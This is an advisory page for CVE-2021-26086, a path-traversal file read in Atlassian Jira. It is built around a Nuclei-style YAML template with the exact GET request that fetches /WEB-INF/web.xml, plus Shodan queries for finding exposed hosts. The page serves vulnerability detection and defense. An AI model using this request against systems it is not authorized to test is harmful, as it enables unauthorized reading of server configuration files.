CVE-2021-26086: Atlassian Jira Limited - Local File Inclusion

2025-08-01 Atlassian Jira Limited PoC Public

Description

Affected versions of Atlassian Jira Limited Server and Data Center are vulnerable to local file inclusion because they allow remote attackers to read particular files via a path traversal vulnerability in the /WEB-INF/web.xml endpoint.

PoC

id: CVE-2021-26086

info:
  name: Atlassian Jira Limited - Local File Inclusion
  author: cocxanh
  severity: medium
  description: Affected versions of Atlassian Jira Limited Server and Data Center are vulnerable to local file inclusion because they allow remote attackers to read particular files via a path traversal vulnerability in the /WEB-INF/web.xml endpoint.
  impact: |
    This vulnerability can result in unauthorized access to sensitive files and data, as well as potential remote code execution, leading to a complete compromise of the affected system.
  remediation: |
    Apply the latest security patches and updates provided by Atlassian to mitigate this vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-72695
    - http://packetstormsecurity.com/files/164405/Atlassian-Jira-Server-Data-Center-8.4.0-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26086
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/Jeromeyoung/CVE-2021-26086
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-26086
    cwe-id: CWE-22
    epss-score: 0.99999
    epss-percentile: 0.99992
    cpe: cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira_data_center
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve2021,cve,lfi,packetstorm,jira,intrusive,atlassian,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <web-app
          - </web-app>
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022068ce4ba81a6376df2961bdc2ba2d821396f3f7ab1774b701b9b4a20d181a1f6f022042a178f5a7a43842849c39d5c41c792a42f2b016dcf37554ff30483a406cd349:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities